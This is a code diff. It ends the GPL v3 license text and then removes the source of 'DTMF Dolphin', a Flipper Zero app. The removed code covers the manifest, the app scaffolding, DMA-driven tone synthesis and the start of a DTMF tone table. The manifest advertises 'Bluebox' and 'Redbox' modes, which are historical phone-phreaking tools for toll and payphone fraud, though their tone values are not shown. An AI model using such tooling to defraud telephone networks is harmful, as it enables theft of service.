||||||
by this License, of making, using, or selling its contributor version,
|
|
||||||
but do not include claims that would be infringed only as a
|
|
||||||
consequence of further modification of the contributor version. For
|
|
||||||
purposes of this definition, "control" includes the right to grant
|
|
||||||
patent sublicenses in a manner consistent with the requirements of
|
|
||||||
this License.
|
|
||||||
|
|
||||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
|
||||||
patent license under the contributor's essential patent claims, to
|
|
||||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
|
||||||
propagate the contents of its contributor version.
|
|
||||||
|
|
||||||
In the following three paragraphs, a "patent license" is any express
|
|
||||||
agreement or commitment, however denominated, not to enforce a patent
|
|
||||||
(such as an express permission to practice a patent or covenant not to
|
|
||||||
sue for patent infringement). To "grant" such a patent license to a
|
|
||||||
party means to make such an agreement or commitment not to enforce a
|
|
||||||
patent against the party.
|
|
||||||
|
|
||||||
If you convey a covered work, knowingly relying on a patent license,
|
|
||||||
and the Corresponding Source of the work is not available for anyone
|
|
||||||
to copy, free of charge and under the terms of this License, through a
|
|
||||||
publicly available network server or other readily accessible means,
|
|
||||||
then you must either (1) cause the Corresponding Source to be so
|
|
||||||
available, or (2) arrange to deprive yourself of the benefit of the
|
|
||||||
patent license for this particular work, or (3) arrange, in a manner
|
|
||||||
consistent with the requirements of this License, to extend the patent
|
|
||||||
license to downstream recipients. "Knowingly relying" means you have
|
|
||||||
actual knowledge that, but for the patent license, your conveying the
|
|
||||||
covered work in a country, or your recipient's use of the covered work
|
|
||||||
in a country, would infringe one or more identifiable patents in that
|
|
||||||
country that you have reason to believe are valid.
|
|
||||||
|
|
||||||
If, pursuant to or in connection with a single transaction or
|
|
||||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
|
||||||
covered work, and grant a patent license to some of the parties
|
|
||||||
receiving the covered work authorizing them to use, propagate, modify
|
|
||||||
or convey a specific copy of the covered work, then the patent license
|
|
||||||
you grant is automatically extended to all recipients of the covered
|
|
||||||
work and works based on it.
|
|
||||||
|
|
||||||
A patent license is "discriminatory" if it does not include within
|
|
||||||
the scope of its coverage, prohibits the exercise of, or is
|
|
||||||
conditioned on the non-exercise of one or more of the rights that are
|
|
||||||
specifically granted under this License. You may not convey a covered
|
|
||||||
work if you are a party to an arrangement with a third party that is
|
|
||||||
in the business of distributing software, under which you make payment
|
|
||||||
to the third party based on the extent of your activity of conveying
|
|
||||||
the work, and under which the third party grants, to any of the
|
|
||||||
parties who would receive the covered work from you, a discriminatory
|
|
||||||
patent license (a) in connection with copies of the covered work
|
|
||||||
conveyed by you (or copies made from those copies), or (b) primarily
|
|
||||||
for and in connection with specific products or compilations that
|
|
||||||
contain the covered work, unless you entered into that arrangement,
|
|
||||||
or that patent license was granted, prior to 28 March 2007.
|
|
||||||
|
|
||||||
Nothing in this License shall be construed as excluding or limiting
|
|
||||||
any implied license or other defenses to infringement that may
|
|
||||||
otherwise be available to you under applicable patent law.
|
|
||||||
|
|
||||||
12. No Surrender of Others' Freedom.
|
|
||||||
|
|
||||||
If conditions are imposed on you (whether by court order, agreement or
|
|
||||||
otherwise) that contradict the conditions of this License, they do not
|
|
||||||
excuse you from the conditions of this License. If you cannot convey a
|
|
||||||
covered work so as to satisfy simultaneously your obligations under this
|
|
||||||
License and any other pertinent obligations, then as a consequence you may
|
|
||||||
not convey it at all. For example, if you agree to terms that obligate you
|
|
||||||
to collect a royalty for further conveying from those to whom you convey
|
|
||||||
the Program, the only way you could satisfy both those terms and this
|
|
||||||
License would be to refrain entirely from conveying the Program.
|
|
||||||
|
|
||||||
13. Use with the GNU Affero General Public License.
|
|
||||||
|
|
||||||
Notwithstanding any other provision of this License, you have
|
|
||||||
permission to link or combine any covered work with a work licensed
|
|
||||||
under version 3 of the GNU Affero General Public License into a single
|
|
||||||
combined work, and to convey the resulting work. The terms of this
|
|
||||||
License will continue to apply to the part which is the covered work,
|
|
||||||
but the special requirements of the GNU Affero General Public License,
|
|
||||||
section 13, concerning interaction through a network will apply to the
|
|
||||||
combination as such.
|
|
||||||
|
|
||||||
14. Revised Versions of this License.
|
|
||||||
|
|
||||||
The Free Software Foundation may publish revised and/or new versions of
|
|
||||||
the GNU General Public License from time to time. Such new versions will
|
|
||||||
be similar in spirit to the present version, but may differ in detail to
|
|
||||||
address new problems or concerns.
|
|
||||||
|
|
||||||
Each version is given a distinguishing version number. If the
|
|
||||||
Program specifies that a certain numbered version of the GNU General
|
|
||||||
Public License "or any later version" applies to it, you have the
|
|
||||||
option of following the terms and conditions either of that numbered
|
|
||||||
version or of any later version published by the Free Software
|
|
||||||
Foundation. If the Program does not specify a version number of the
|
|
||||||
GNU General Public License, you may choose any version ever published
|
|
||||||
by the Free Software Foundation.
|
|
||||||
|
|
||||||
If the Program specifies that a proxy can decide which future
|
|
||||||
versions of the GNU General Public License can be used, that proxy's
|
|
||||||
public statement of acceptance of a version permanently authorizes you
|
|
||||||
to choose that version for the Program.
|
|
||||||
|
|
||||||
Later license versions may give you additional or different
|
|
||||||
permissions. However, no additional obligations are imposed on any
|
|
||||||
author or copyright holder as a result of your choosing to follow a
|
|
||||||
later version.
|
|
||||||
|
|
||||||
15. Disclaimer of Warranty.
|
|
||||||
|
|
||||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
|
||||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
|
||||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
|
||||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
|
||||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
|
||||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
|
||||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
|
||||||
|
|
||||||
16. Limitation of Liability.
|
|
||||||
|
|
||||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
|
||||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
|
||||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
|
||||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
|
||||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
|
||||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
|
||||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
|
||||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
|
||||||
SUCH DAMAGES.
|
|
||||||
|
|
||||||
17. Interpretation of Sections 15 and 16.
|
|
||||||
|
|
||||||
If the disclaimer of warranty and limitation of liability provided
|
|
||||||
above cannot be given local legal effect according to their terms,
|
|
||||||
reviewing courts shall apply local law that most closely approximates
|
|
||||||
an absolute waiver of all civil liability in connection with the
|
|
||||||
Program, unless a warranty or assumption of liability accompanies a
|
|
||||||
copy of the Program in return for a fee.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
How to Apply These Terms to Your New Programs
|
|
||||||
|
|
||||||
If you develop a new program, and you want it to be of the greatest
|
|
||||||
possible use to the public, the best way to achieve this is to make it
|
|
||||||
free software which everyone can redistribute and change under these terms.
|
|
||||||
|
|
||||||
To do so, attach the following notices to the program. It is safest
|
|
||||||
to attach them to the start of each source file to most effectively
|
|
||||||
state the exclusion of warranty; and each file should have at least
|
|
||||||
the "copyright" line and a pointer to where the full notice is found.
|
|
||||||
|
|
||||||
<one line to give the program's name and a brief idea of what it does.>
|
|
||||||
Copyright (C) <year> <name of author>
|
|
||||||
|
|
||||||
This program is free software: you can redistribute it and/or modify
|
|
||||||
it under the terms of the GNU General Public License as published by
|
|
||||||
the Free Software Foundation, either version 3 of the License, or
|
|
||||||
(at your option) any later version.
|
|
||||||
|
|
||||||
This program is distributed in the hope that it will be useful,
|
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
GNU General Public License for more details.
|
|
||||||
|
|
||||||
You should have received a copy of the GNU General Public License
|
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
Also add information on how to contact you by electronic and paper mail.
|
|
||||||
|
|
||||||
If the program does terminal interaction, make it output a short
|
|
||||||
notice like this when it starts in an interactive mode:
|
|
||||||
|
|
||||||
<program> Copyright (C) <year> <name of author>
|
|
||||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
|
||||||
This is free software, and you are welcome to redistribute it
|
|
||||||
under certain conditions; type `show c' for details.
|
|
||||||
|
|
||||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
|
||||||
parts of the General Public License. Of course, your program's commands
|
|
||||||
might be different; for a GUI interface, you would use an "about box".
|
|
||||||
|
|
||||||
You should also get your employer (if you work as a programmer) or school,
|
|
||||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
|
||||||
For more information on this, and how to apply and follow the GNU GPL, see
|
|
||||||
<https://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
The GNU General Public License does not permit incorporating your program
|
|
||||||
into proprietary programs. If your program is a subroutine library, you
|
|
||||||
may consider it more useful to permit linking proprietary applications with
|
|
||||||
the library. If this is what you want to do, use the GNU Lesser General
|
|
||||||
Public License instead of this License. But first, please read
|
|
||||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
|
||||||
@@ -1,17 +0,0 @@
|
|||||||
App(
|
|
||||||
appid="dtmf_dolphin",
|
|
||||||
name="DTMF Dolphin",
|
|
||||||
apptype=FlipperAppType.EXTERNAL,
|
|
||||||
entry_point="dtmf_dolphin_app",
|
|
||||||
requires=[
|
|
||||||
"storage",
|
|
||||||
"gui",
|
|
||||||
"dialogs",
|
|
||||||
],
|
|
||||||
fap_icon="phone.png",
|
|
||||||
stack_size=8 * 1024,
|
|
||||||
fap_category="Tools",
|
|
||||||
fap_author="@litui & @xMasterX",
|
|
||||||
fap_version="1.1",
|
|
||||||
fap_description="DTMF (Dual-Tone Multi-Frequency) dialer, Bluebox, and Redbox.",
|
|
||||||
)
|
|
||||||
@@ -1,89 +0,0 @@
|
|||||||
#include "dtmf_dolphin_i.h"
|
|
||||||
|
|
||||||
#include <furi.h>
|
|
||||||
#include <furi_hal.h>
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) {
|
|
||||||
furi_assert(context);
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_app_back_event_callback(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
return scene_manager_handle_back_event(app->scene_manager);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void dtmf_dolphin_app_tick_event_callback(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
DTMFDolphinApp* app = context;
|
|
||||||
|
|
||||||
scene_manager_handle_tick_event(app->scene_manager);
|
|
||||||
}
|
|
||||||
|
|
||||||
static DTMFDolphinApp* app_alloc() {
|
|
||||||
DTMFDolphinApp* app = malloc(sizeof(DTMFDolphinApp));
|
|
||||||
|
|
||||||
app->gui = furi_record_open(RECORD_GUI);
|
|
||||||
app->view_dispatcher = view_dispatcher_alloc();
|
|
||||||
app->scene_manager = scene_manager_alloc(&dtmf_dolphin_scene_handlers, app);
|
|
||||||
view_dispatcher_enable_queue(app->view_dispatcher);
|
|
||||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
|
||||||
|
|
||||||
view_dispatcher_set_custom_event_callback(
|
|
||||||
app->view_dispatcher, dtmf_dolphin_app_custom_event_callback);
|
|
||||||
view_dispatcher_set_navigation_event_callback(
|
|
||||||
app->view_dispatcher, dtmf_dolphin_app_back_event_callback);
|
|
||||||
view_dispatcher_set_tick_event_callback(
|
|
||||||
app->view_dispatcher, dtmf_dolphin_app_tick_event_callback, 100);
|
|
||||||
|
|
||||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
|
||||||
|
|
||||||
app->main_menu_list = variable_item_list_alloc();
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
app->view_dispatcher,
|
|
||||||
DTMFDolphinViewMainMenu,
|
|
||||||
variable_item_list_get_view(app->main_menu_list));
|
|
||||||
|
|
||||||
app->dtmf_dolphin_dialer = dtmf_dolphin_dialer_alloc();
|
|
||||||
view_dispatcher_add_view(
|
|
||||||
app->view_dispatcher,
|
|
||||||
DTMFDolphinViewDialer,
|
|
||||||
dtmf_dolphin_dialer_get_view(app->dtmf_dolphin_dialer));
|
|
||||||
|
|
||||||
app->notification = furi_record_open(RECORD_NOTIFICATION);
|
|
||||||
notification_message(app->notification, &sequence_display_backlight_enforce_on);
|
|
||||||
|
|
||||||
scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneStart);
|
|
||||||
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void app_free(DTMFDolphinApp* app) {
|
|
||||||
furi_assert(app);
|
|
||||||
view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
|
|
||||||
view_dispatcher_remove_view(app->view_dispatcher, DTMFDolphinViewDialer);
|
|
||||||
variable_item_list_free(app->main_menu_list);
|
|
||||||
|
|
||||||
dtmf_dolphin_dialer_free(app->dtmf_dolphin_dialer);
|
|
||||||
|
|
||||||
view_dispatcher_free(app->view_dispatcher);
|
|
||||||
scene_manager_free(app->scene_manager);
|
|
||||||
|
|
||||||
notification_message(app->notification, &sequence_display_backlight_enforce_auto);
|
|
||||||
|
|
||||||
furi_record_close(RECORD_GUI);
|
|
||||||
furi_record_close(RECORD_NOTIFICATION);
|
|
||||||
free(app);
|
|
||||||
}
|
|
||||||
|
|
||||||
int32_t dtmf_dolphin_app(void* p) {
|
|
||||||
UNUSED(p);
|
|
||||||
DTMFDolphinApp* app = app_alloc();
|
|
||||||
|
|
||||||
view_dispatcher_run(app->view_dispatcher);
|
|
||||||
|
|
||||||
app_free(app);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,270 +0,0 @@
|
|||||||
#include "dtmf_dolphin_audio.h"
|
|
||||||
|
|
||||||
DTMFDolphinAudio* current_player;
|
|
||||||
|
|
||||||
static void dtmf_dolphin_audio_dma_isr(void* ctx) {
|
|
||||||
FuriMessageQueue* event_queue = ctx;
|
|
||||||
|
|
||||||
if(LL_DMA_IsActiveFlag_HT1(DMA1)) {
|
|
||||||
LL_DMA_ClearFlag_HT1(DMA1);
|
|
||||||
|
|
||||||
DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAHalfTransfer};
|
|
||||||
furi_message_queue_put(event_queue, &event, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
if(LL_DMA_IsActiveFlag_TC1(DMA1)) {
|
|
||||||
LL_DMA_ClearFlag_TC1(DMA1);
|
|
||||||
|
|
||||||
DTMFDolphinCustomEvent event = {.type = DTMFDolphinEventDMAFullTransfer};
|
|
||||||
furi_message_queue_put(event_queue, &event, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_audio_clear_samples(DTMFDolphinAudio* player) {
|
|
||||||
for(size_t i = 0; i < player->buffer_length; i++) {
|
|
||||||
player->sample_buffer[i] = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
DTMFDolphinOsc* dtmf_dolphin_osc_alloc() {
|
|
||||||
DTMFDolphinOsc* osc = malloc(sizeof(DTMFDolphinOsc));
|
|
||||||
osc->cached_freq = 0;
|
|
||||||
osc->offset = 0;
|
|
||||||
osc->period = 0;
|
|
||||||
osc->lookup_table = NULL;
|
|
||||||
return osc;
|
|
||||||
}
|
|
||||||
|
|
||||||
DTMFDolphinPulseFilter* dtmf_dolphin_pulse_filter_alloc() {
|
|
||||||
DTMFDolphinPulseFilter* pf = malloc(sizeof(DTMFDolphinPulseFilter));
|
|
||||||
pf->duration = 0;
|
|
||||||
pf->period = 0;
|
|
||||||
pf->offset = 0;
|
|
||||||
pf->lookup_table = NULL;
|
|
||||||
return pf;
|
|
||||||
}
|
|
||||||
|
|
||||||
DTMFDolphinAudio* dtmf_dolphin_audio_alloc() {
|
|
||||||
DTMFDolphinAudio* player = malloc(sizeof(DTMFDolphinAudio));
|
|
||||||
player->buffer_length = SAMPLE_BUFFER_LENGTH;
|
|
||||||
player->half_buffer_length = SAMPLE_BUFFER_LENGTH / 2;
|
|
||||||
player->sample_buffer = malloc(sizeof(uint16_t) * player->buffer_length);
|
|
||||||
player->osc1 = dtmf_dolphin_osc_alloc();
|
|
||||||
player->osc2 = dtmf_dolphin_osc_alloc();
|
|
||||||
player->volume = 1.0f;
|
|
||||||
player->queue = furi_message_queue_alloc(10, sizeof(DTMFDolphinCustomEvent));
|
|
||||||
player->filter = dtmf_dolphin_pulse_filter_alloc();
|
|
||||||
player->playing = false;
|
|
||||||
dtmf_dolphin_audio_clear_samples(player);
|
|
||||||
|
|
||||||
return player;
|
|
||||||
}
|
|
||||||
|
|
||||||
size_t calc_waveform_period(float freq) {
|
|
||||||
if(!freq) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
// DMA Rate calculation, thanks to Dr_Zlo
|
|
||||||
float dma_rate = CPU_CLOCK_FREQ / 2 / DTMF_DOLPHIN_HAL_DMA_PRESCALER /
|
|
||||||
(DTMF_DOLPHIN_HAL_DMA_AUTORELOAD + 1);
|
|
||||||
|
|
||||||
// Using a constant scaling modifier, which likely represents
|
|
||||||
// the combined system overhead and isr latency.
|
|
||||||
return (uint16_t)dma_rate * 2 / freq * 0.801923;
|
|
||||||
}
|
|
||||||
|
|
||||||
void osc_generate_lookup_table(DTMFDolphinOsc* osc, float freq) {
|
|
||||||
if(osc->lookup_table != NULL) {
|
|
||||||
free(osc->lookup_table);
|
|
||||||
}
|
|
||||||
osc->offset = 0;
|
|
||||||
osc->cached_freq = freq;
|
|
||||||
osc->period = calc_waveform_period(freq);
|
|
||||||
if(!osc->period) {
|
|
||||||
osc->lookup_table = NULL;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
osc->lookup_table = malloc(sizeof(float) * osc->period);
|
|
||||||
|
|
||||||
for(size_t i = 0; i < osc->period; i++) {
|
|
||||||
osc->lookup_table[i] = sin(i * PERIOD_2_PI / osc->period) + 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void filter_generate_lookup_table(
|
|
||||||
DTMFDolphinPulseFilter* pf,
|
|
||||||
uint16_t pulses,
|
|
||||||
uint16_t pulse_ms,
|
|
||||||
uint16_t gap_ms) {
|
|
||||||
if(pf->lookup_table != NULL) {
|
|
||||||
free(pf->lookup_table);
|
|
||||||
}
|
|
||||||
pf->offset = 0;
|
|
||||||
|
|
||||||
uint16_t gap_period = calc_waveform_period(1000 / (float)gap_ms);
|
|
||||||
uint16_t pulse_period = calc_waveform_period(1000 / (float)pulse_ms);
|
|
||||||
pf->period = pulse_period + gap_period;
|
|
||||||
|
|
||||||
if(!pf->period) {
|
|
||||||
pf->lookup_table = NULL;
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
pf->duration = pf->period * pulses;
|
|
||||||
pf->lookup_table = malloc(sizeof(bool) * pf->duration);
|
|
||||||
|
|
||||||
for(size_t i = 0; i < pf->duration; i++) {
|
|
||||||
pf->lookup_table[i] = i % pf->period < pulse_period;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
float sample_frame(DTMFDolphinOsc* osc) {
|
|
||||||
float frame = 0.0;
|
|
||||||
|
|
||||||
if(osc->period) {
|
|
||||||
frame = osc->lookup_table[osc->offset];
|
|
||||||
osc->offset = (osc->offset + 1) % osc->period;
|
|
||||||
}
|
|
||||||
|
|
||||||
return frame;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool sample_filter(DTMFDolphinPulseFilter* pf) {
|
|
||||||
bool frame = true;
|
|
||||||
|
|
||||||
if(pf->duration) {
|
|
||||||
if(pf->offset < pf->duration) {
|
|
||||||
frame = pf->lookup_table[pf->offset];
|
|
||||||
pf->offset = pf->offset + 1;
|
|
||||||
} else {
|
|
||||||
frame = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return frame;
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc) {
|
|
||||||
if(osc->lookup_table != NULL) {
|
|
||||||
free(osc->lookup_table);
|
|
||||||
}
|
|
||||||
free(osc);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_filter_free(DTMFDolphinPulseFilter* pf) {
|
|
||||||
if(pf->lookup_table != NULL) {
|
|
||||||
free(pf->lookup_table);
|
|
||||||
}
|
|
||||||
free(pf);
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_audio_free(DTMFDolphinAudio* player) {
|
|
||||||
furi_message_queue_free(player->queue);
|
|
||||||
dtmf_dolphin_osc_free(player->osc1);
|
|
||||||
dtmf_dolphin_osc_free(player->osc2);
|
|
||||||
dtmf_dolphin_filter_free(player->filter);
|
|
||||||
free(player->sample_buffer);
|
|
||||||
free(player);
|
|
||||||
current_player = NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool generate_waveform(DTMFDolphinAudio* player, uint16_t buffer_index) {
|
|
||||||
uint16_t* sample_buffer_start = &player->sample_buffer[buffer_index];
|
|
||||||
|
|
||||||
for(size_t i = 0; i < player->half_buffer_length; i++) {
|
|
||||||
float data = 0;
|
|
||||||
if(player->osc2->period) {
|
|
||||||
data = (sample_frame(player->osc1) / 2) + (sample_frame(player->osc2) / 2);
|
|
||||||
} else {
|
|
||||||
data = (sample_frame(player->osc1));
|
|
||||||
}
|
|
||||||
data *= sample_filter(player->filter) ? player->volume : 0.0;
|
|
||||||
data *= UINT8_MAX / 2; // scale -128..127
|
|
||||||
data += UINT8_MAX / 2; // to unsigned
|
|
||||||
|
|
||||||
if(data < 0) {
|
|
||||||
data = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
if(data > 255) {
|
|
||||||
data = 255;
|
|
||||||
}
|
|
||||||
|
|
||||||
sample_buffer_start[i] = data;
|
|
||||||
}
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_audio_play_tones(
|
|
||||||
float freq1,
|
|
||||||
float freq2,
|
|
||||||
uint16_t pulses,
|
|
||||||
uint16_t pulse_ms,
|
|
||||||
uint16_t gap_ms) {
|
|
||||||
if(current_player != NULL && current_player->playing) {
|
|
||||||
// Cannot start playing while still playing something else
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
current_player = dtmf_dolphin_audio_alloc();
|
|
||||||
|
|
||||||
osc_generate_lookup_table(current_player->osc1, freq1);
|
|
||||||
osc_generate_lookup_table(current_player->osc2, freq2);
|
|
||||||
filter_generate_lookup_table(current_player->filter, pulses, pulse_ms, gap_ms);
|
|
||||||
|
|
||||||
generate_waveform(current_player, 0);
|
|
||||||
generate_waveform(current_player, current_player->half_buffer_length);
|
|
||||||
|
|
||||||
dtmf_dolphin_dma_init((uint32_t)current_player->sample_buffer, current_player->buffer_length);
|
|
||||||
|
|
||||||
furi_hal_interrupt_set_isr(
|
|
||||||
FuriHalInterruptIdDma1Ch1, dtmf_dolphin_audio_dma_isr, current_player->queue);
|
|
||||||
if(furi_hal_speaker_acquire(1000)) {
|
|
||||||
dtmf_dolphin_speaker_init();
|
|
||||||
dtmf_dolphin_dma_start();
|
|
||||||
dtmf_dolphin_speaker_start();
|
|
||||||
current_player->playing = true;
|
|
||||||
return true;
|
|
||||||
} else {
|
|
||||||
current_player->playing = false;
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_audio_stop_tones() {
|
|
||||||
if(current_player != NULL && !current_player->playing) {
|
|
||||||
// Can't stop a player that isn't playing.
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
while(current_player->filter->offset > 0 &&
|
|
||||||
current_player->filter->offset < current_player->filter->duration) {
|
|
||||||
// run remaining ticks if needed to complete filter sequence
|
|
||||||
dtmf_dolphin_audio_handle_tick();
|
|
||||||
}
|
|
||||||
dtmf_dolphin_speaker_stop();
|
|
||||||
dtmf_dolphin_dma_stop();
|
|
||||||
furi_hal_speaker_release();
|
|
||||||
|
|
||||||
furi_hal_interrupt_set_isr(FuriHalInterruptIdDma1Ch1, NULL, NULL);
|
|
||||||
|
|
||||||
dtmf_dolphin_audio_free(current_player);
|
|
||||||
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool dtmf_dolphin_audio_handle_tick() {
|
|
||||||
bool handled = false;
|
|
||||||
|
|
||||||
if(current_player) {
|
|
||||||
DTMFDolphinCustomEvent event;
|
|
||||||
if(furi_message_queue_get(current_player->queue, &event, 250) == FuriStatusOk) {
|
|
||||||
if(event.type == DTMFDolphinEventDMAHalfTransfer) {
|
|
||||||
generate_waveform(current_player, 0);
|
|
||||||
handled = true;
|
|
||||||
} else if(event.type == DTMFDolphinEventDMAFullTransfer) {
|
|
||||||
generate_waveform(current_player, current_player->half_buffer_length);
|
|
||||||
handled = true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return handled;
|
|
||||||
}
|
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
// #include "dtmf_dolphin_i.h"
|
|
||||||
#include "dtmf_dolphin_event.h"
|
|
||||||
#include "dtmf_dolphin_hal.h"
|
|
||||||
|
|
||||||
#define SAMPLE_BUFFER_LENGTH 8192
|
|
||||||
#define PERIOD_2_PI 6.2832
|
|
||||||
#define CPU_CLOCK_FREQ 64000000
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
float cached_freq;
|
|
||||||
size_t period;
|
|
||||||
float* lookup_table;
|
|
||||||
uint16_t offset;
|
|
||||||
} DTMFDolphinOsc;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
float duration;
|
|
||||||
size_t period;
|
|
||||||
bool* lookup_table;
|
|
||||||
uint16_t offset;
|
|
||||||
} DTMFDolphinPulseFilter;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
size_t buffer_length;
|
|
||||||
size_t half_buffer_length;
|
|
||||||
uint8_t* buffer_buffer;
|
|
||||||
uint16_t* sample_buffer;
|
|
||||||
float volume;
|
|
||||||
FuriMessageQueue* queue;
|
|
||||||
DTMFDolphinOsc* osc1;
|
|
||||||
DTMFDolphinOsc* osc2;
|
|
||||||
DTMFDolphinPulseFilter* filter;
|
|
||||||
bool playing;
|
|
||||||
} DTMFDolphinAudio;
|
|
||||||
|
|
||||||
DTMFDolphinOsc* dtmf_dolphin_osc_alloc();
|
|
||||||
|
|
||||||
DTMFDolphinAudio* dtmf_dolphin_audio_alloc();
|
|
||||||
|
|
||||||
void dtmf_dolphin_audio_free(DTMFDolphinAudio* player);
|
|
||||||
|
|
||||||
void dtmf_dolphin_osc_free(DTMFDolphinOsc* osc);
|
|
||||||
|
|
||||||
bool dtmf_dolphin_audio_play_tones(
|
|
||||||
float freq1,
|
|
||||||
float freq2,
|
|
||||||
uint16_t pulses,
|
|
||||||
uint16_t pulse_ms,
|
|
||||||
uint16_t gap_ms);
|
|
||||||
|
|
||||||
bool dtmf_dolphin_audio_stop_tones();
|
|
||||||
|
|
||||||
bool dtmf_dolphin_audio_handle_tick();
|
|
||||||
@@ -1,220 +0,0 @@
|
|||||||
#include "dtmf_dolphin_data.h"
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
const uint8_t row;
|
|
||||||
const uint8_t col;
|
|
||||||
const uint8_t span;
|
|
||||||
} DTMFDolphinTonePos;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
const char* name;
|
|
||||||
const float frequency_1;
|
|
||||||
const float frequency_2;
|
|
||||||
const DTMFDolphinTonePos pos;
|
|
||||||
const uint16_t pulses; // for Redbox
|
|
||||||
const uint16_t pulse_ms; // for Redbox
|
|
||||||
const uint16_t gap_duration; // for Redbox
|
|
||||||
} DTMFDolphinTones;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
const char* name;
|
|
||||||
DTMFDolphinToneSection block;
|
|
||||||
uint8_t tone_count;
|
|
||||||
DTMFDolphinTones tones[DTMF_DOLPHIN_MAX_TONE_COUNT];
|
|
||||||
} DTMFDolphinSceneData;
|
|
||||||
|
|
||||||
DTMFDolphinSceneData DTMFDolphinSceneDataDialer = {
|
|
||||||
.name = "Dialer",
|
|
||||||
.block = DTMF_DOLPHIN_TONE_BLOCK_DIALER,
|
|
||||||
.tone_count = 16,
|
|
||||||
.tones = {
|
|
||||||
{"1", 697.0, 1209.0, {0, 0, 1}, 0, 0, 0},
|
|
||||||
{"2", 697.0, 1336.0, {0, 1, 1}, 0, 0, 0},
|
|
||||||
{"3", 697.0, 1477.0, {0, 2, 1}, 0, 0, 0},
|
|
||||||
